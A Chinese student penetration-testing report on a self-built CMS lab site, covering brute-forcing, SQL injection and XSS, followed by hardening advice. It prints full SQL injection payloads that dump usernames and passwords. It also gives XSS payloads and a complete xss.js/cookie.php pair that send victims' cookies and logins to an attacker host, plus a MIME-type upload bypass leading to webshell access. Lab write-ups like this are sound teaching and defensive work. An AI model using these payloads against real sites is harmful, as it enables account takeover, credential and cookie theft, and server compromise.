随着移动互联网、物联网、云计算、大数据等新技术的快速发展,信息化建设面临新的产业机遇。然而,信息系统安全漏洞也随之出现,恶意代码和网络安全事件频发,给网络安全和信息安全保障带来了严峻挑战。为了提高信息系统安全等级,人们通常在服务器的互联网边界处部署防火墙来隔离内外网络,仅暴露必要的服务器端口。尽管如此,Web漏洞仍是一个无法避免的安全问题。其形成原因是程序编写时未对用户输入进行严格的过滤,使黑客可以构造恶意字符串达到攻击目的。安全测试的目的是发现应用中的漏洞、隐患和风险,防止黑客的恶意攻击,确保公司的信息、财务和声誉不受损害。
使用phpstudy软件搭建网站作为测试平台
Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
后台扫描珍,方便查找用户后台登陆地址,同时也为程序开发人员增加了难度,尽量独特的后台目录结构。附带很强大的字典,字典我们也是可以自己修改的,继续增加规则
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。AntSword 是一个开源的跨平台网络应用框架,用于快速开发基于Web的网络安全工具。它使用 Python 语言编写,并提供了丰富的插件系统,可以方便地扩展其功能。
SQL注入是一种常见的网络攻击方式,攻击者通过在应用程序的输入字段中注入恶意的SQL代码,试图非法获取数据库中的敏感信息。SQL注入攻击利用了应用程序对用户输入的验证不足或处理不当,导致攻击者能够执行任意的SQL语句。
a. ?SQL联合查询注入
b. ?SQL报错注入
c. ?SQL盲注
XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种代码注入攻击。攻击者通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的信息如cookie等。XSS的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执行。
文件上传漏洞是一种常见的Web应用程序安全漏洞。攻击者利用该漏洞上传恶意文件,并在服务器上执行恶意代码或访问受限制的文件
页面包含了首页,国内新闻,国际新闻,后台管理等页面。
?首页
登录页面
后台管理
扫描目录:
扫描出登陆页面:
拦截包:
放包
接收包:
选择一个爆破有效载荷,如软件收集到的密码
爆破完成:
id= 1') OR 1 = 1--+
1')) OR 1 = 1--+
1" OR 1 = 1--+
1") OR 1 = 1--+
测试结果都不对
?
? ?
使用 1 OR 1 = 1--+?,页面成功出现,证明输入类型为数字型
2.2.1 排查表的列数 ?
?id=1 ORDER BY 15--+??//没有报错
?id=1 ORDER BY 16--+??//报错
由以上两条命令证明表只有15列
?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
发现第3列和第11列我们可以利用
?id=-1 UNION SELECT 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema='cms'--+
???
?id=-1 UNION SELECT 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'--+
???
?id=-1 UNION SELECT 1,2,group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))),4,5,6,7,8,9,10,11,12,13,14,15 FROM cms.cms_users--+??使用该字段可以获取账号密码
因为密码使用MD5加密,解密后密码为admin888
可以登录后台,证明密码正确
利用报错信息将想查询的信息在报错中输出
?id=33 AND extractvalue(1,concat(0x7e,(select database()),0x7e))--+
输出了一个表名
想要查找所有表名,但不一定会输出全部表名
?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(convert(table_name using gbk)) FROM information_schema.tables WHERE table_schema='cms'),0x7e))--+
?id=33 AND extractvalue(1,concat(0x7e,(SELECT table_name%20 FROM information_schema.tables WHERE table_schema='cms' LIMIT 0,1),0x7e))--+
?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(convert(column_name using gbk)) FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'),0x7e))--+
?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(concat_ws(":",convert(username?using gbk),convert(password?using gbk))) FROM cms.cms_users),0x7e))
查询到账号和密码:
?id=33 AND LENGTH((SELECT database()))=3--+
id=33和数据库第三列表存在为真,返回表的内容
一个个输入太慢,使用利用burp suite来爆破
??id=33 AND LENGTH((SELECT database()))=3--+
设置:
爆破完成:
?测试获取表名
?id=33%20AND%20SUBSTRING((SELECT%20database()),1,1)=%27a%27%20--+
找出表名
再次测试获取表名:
?id=33 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='cms' LIMIT 1,1),1,1)='a' --+ //第一个1表示第1个表,第二个1表示第一个字符为a
得到表中各位置的字母,由以上信息可以组成表名cms。
时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询,从而得到让网页加载时间变长的方式来猜解数据库。
使用sleep()来控制时间来判断页面是否查询成功
?id=33 AND IF(LENGTH(database())=1,sleep(1),1)--+
当判断第一个一为真时,睡眠一秒再跳转页面
可以观察到表名且中间有明显隔断
利用重发器可以看到发送时延
XSS全称Cross Site Scripting(跨站脚本),为了与“CSS”区别,就使用XSS作为简称。
XSS攻击指恶意用户在html中注入含恶意的JavaScript代码或者恶意的HTML代码。在其他用户浏览该页面时,浏览器会直接编译处理所有代码包括恶意代码,从而作出损害用户利益的攻击。
在登录界面,如果我们输入密码错误,将会返回输入的用户名,即我们能对此处进行XSS攻击
使用?username=">
<script type="text/javascript">var x=document.getElementById("myform");
x.action="http://192.168.18.1/save.php";
</script>??但因为没有与后面的代码形成闭合,会输出到屏幕上
使用该代码让其与原本的代码形成闭合 ?username=">
<script type="text/javascript">var x=document.getElementById("myform");
x.action="http://192.168.18.1/save.php";
</script><p id="234??并使用此代码来替换返回的用户名,红色部分时我们提前准备的php脚本,可以用于盗取输入的用户名与密码
内容如下:
使用该代码替换username:
插入成功
修改后在源码的位置
当用户输入密码与账号后,会被保存到我们提前准备的脚本中。
我们可以发现留言版的留言是直接发到管理员的后台的
通过这个漏洞我们可以将一个.js脚本发给管理员,使管理员打开这条留言时触发这个脚本来盗取管理员的cookie
将这条语句发给管理员:
<script?src="http://192.168.18.1/xss.js"></script>
管理员到留言管理界面查看留言
我们成功获取管理员的cookie
xss.js:
function getCookie() {
????var url = "http://192.168.18.1/cookie.php";
????var data = 'cookie=' + document.cookie;
????var getck = new XMLHttpRequest();
????getck.open('POST', url);
????getck.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
????getck.send(data);
}
getCookie();
cookie.php:
<?php
header("Access-Control-Allow-Origin: *");
$cookie = $_POST['cookie'];
$result = fopen("getcookie.txt", "a");
fwrite($result, $cookie . " \n");
fclose($result);
echo "Cookie Success ! ";
?>
2.7 文件上传漏洞
攻击者可以利用该漏洞上传恶意文件并在服务器上执行。文件上传漏洞的产生原因是开发者在实现文件上传功能时,没有对用户上传的文件进行严格的验证和过滤,导致攻击者可以上传恶意文件。
发现管理员具有上传文件的权限
我们上传一个php脚本,上传失败
将类型更改为image/png
发现上传成功:
使用蚁剑来对该漏洞进行渗透
渗透成功,可以对文件进行所有操作
增加密码复杂度:使用大小写字母、数字和特殊字符的组合,避免使用简单数字或连续字母等容易被猜到的密码。
定期更换密码:设置密码过期时间,定期更换密码,降低账户被破解的风险。
采用多因素认证方式,有效减少单一口令造成的消息泄露。
定期安全检查,定期对系统进行安全渗透测试。
加大安全防范意识。
添加睡眠
添加验证码
添加密码次数输入限制
参数化查询:使用参数化查询来处理用户输入。
ORM框架:使用ORM框架自动处理用户输入。
最小权限原则:为应用程序连接数据库的用户分配最小必要权限。
更新和修补:定期更新系统和应用程序,以修补已知的安全漏洞。
监控和日志记录:实施数据库监控和日志记录机制。
验证文件类型和内容:对上传的文件进行类型和内容的验证。
文件大小限制:限制上传文件的大小。
文件重命名:对上传的文件进行重命名。
文件存储位置限制:将文件存储在受限制的目录中,并确保没有可执行权限。
文件访问控制:限制对上传文件的访问权限。
文件删除策略:及时删除不再需要的文件。
通过本次对web进行渗透,找出了许多可以利用的漏洞,比如SQL注入,密码爆破,文件上传漏洞,xss漏洞等。我们学习了怎样利用这些漏洞,让我了解到了网络安全的重要性,怎样检测和去预防漏洞,对于我以后的项目留下了宝贵的经验。